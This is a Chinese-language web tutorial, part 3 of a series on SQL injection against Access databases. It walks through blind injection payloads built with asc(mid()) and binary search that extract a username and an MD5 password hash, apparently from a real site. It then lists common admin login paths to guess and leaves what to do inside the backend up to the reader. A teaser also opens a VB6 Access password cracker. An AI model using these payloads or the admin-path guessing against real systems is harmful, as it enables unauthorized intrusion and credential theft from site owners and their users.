解读SQL注入漏洞初级应用之Access篇(3)_Access数据库教程
推荐:解读ADO访问不同数据库的差别Microsoft公司提供了统一的数据访问接口ActiveX Data Object,简称ADO。但实际应用编程中,访问不同的数据库,如Access、SQL Server或VFP,会存在一些“细微”差别,常常有这样的情况,用ADO对象访问某一数据库的程序都调试通过了,但用同样的程序访问其他数
7.猜解账号密码字符
在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。
格式:mid(字符串,开始位置,子串长度)
比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y
这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面加上如下的语句:
and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:
and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常
and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常
以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765
and 11=(select userid from users where asc(mid(username,1,1))= -19765)
ASCII码为-19765对应的字符就是:菜
下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119)。
对应字符为:鸟
到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:
作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。
接着猜密码,依然二分法:
and 11=(select userid from users where asc(mid(userpwd,1,1))<50)
and 11=(select userid from users where asc(mid(userpwd,1,1))>40)
最后得到的为:48 对应的字符就是0
依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此。
8.后台的猜解
经过前面辛苦的猜解,我们已经得到这个网站的账号密码了,当然这里已经是MD5加密了,我们只是说一下常规的SQL注入攻击中的一步,往往也是最为关键的一步:寻找网站管理后台。像这样动态生成页面的网站,一般都会有个管理后台的,添加文章编辑文章修改文章删除文章什么的,而一般的程序员在命名后台的时候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,当然还有退出后台的文件:logout.asp admin_logout.asp admin/admin_logout.asp等。一个一个的访问,结果嘛,我只能说靠运气加上你的经验了。以这个站为例,前面那些登录的我一个也没猜到,因为我猜到有admin这个目录,我就一直以为登录的页面也在admin目录,猜了好久,最后无意访问admin/logout.asp,页面居然自动转到后台登录页面了,居然是上一级目录的login.asp,我狂汗。
有了后台,有了账号密码(当然这个站是MD5加密的密码,我也懒得破解),你就可以进后台了,至于进后台你能做什么,就看后台的功能与你的技术了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦!
分享:如何防止Access 2000密码被破如果你过分信任 Access 2000数据库的密码保护,你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全,相反它很脆弱,甚至下面这段非常小的程序就可以攻破它: 程序一(VB6):Access 2000密码破译 Private Sub Command1_Click() Const Off
- 相关链接:
- 教程说明:
Access数据库教程-解读SQL注入漏洞初级应用之Access篇(3)。